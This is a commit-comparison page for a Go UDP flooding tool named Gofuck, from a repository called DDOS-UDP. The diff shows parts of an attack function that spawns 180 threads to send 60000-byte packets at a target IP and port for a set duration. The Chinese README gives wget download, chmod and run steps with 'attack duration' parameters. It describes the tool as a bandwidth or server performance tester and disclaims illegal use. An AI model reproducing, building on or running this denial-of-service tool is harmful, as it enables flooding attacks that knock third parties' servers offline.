Compare commits

..

No commits in common. "main" and "v.1.0.0" have entirely different histories.

2 changed files with 8 additions and 14 deletions

View File

@ -7,10 +7,9 @@ import (
"strconv"
"time"
)
// 定义线程数,可自定义
const THREADS = 180
const THREADS = 180
func attack(ip string, port int, duration int) {
// 定义包字节,可自定义
bytes := make([]byte, 60000)
startTime := time.Now()
endTime := startTime.Add(time.Duration(duration) * time.Second)

View File

@ -1,14 +1,9 @@
### Gofuck声明
用户在使用本工具前请先查看授权及免责声明Gofuck仅仅是一个用于服务器性能的工具用作其他用途后果自负。
Gofuck 使用文档:
使用前使用 chmod +x Gofuck 赋予执行权限。
使用参数:
- Gofuck是一个简单暴力的UDP发包程序能快速利用全部带宽。
- 禁止将Gofuck用于违法活动代码仅用于本地测试参考如违规使用责任自负。
### 使用方法:
```shell
// 下载程序
wget https://github.com/randycolin/DDOS-UDP/releases/download/v.1.0.0/Gofuck
// 赋予执行权限
chmod +x Gofuck
// 输入相应参数开始执行例如:./Gofuck 127.0.0.1 80 120
./Gofuck <IP地址> <端口> <攻击持续时间>
./Gofuck <IP地址> <端口> <攻击持续时间>
```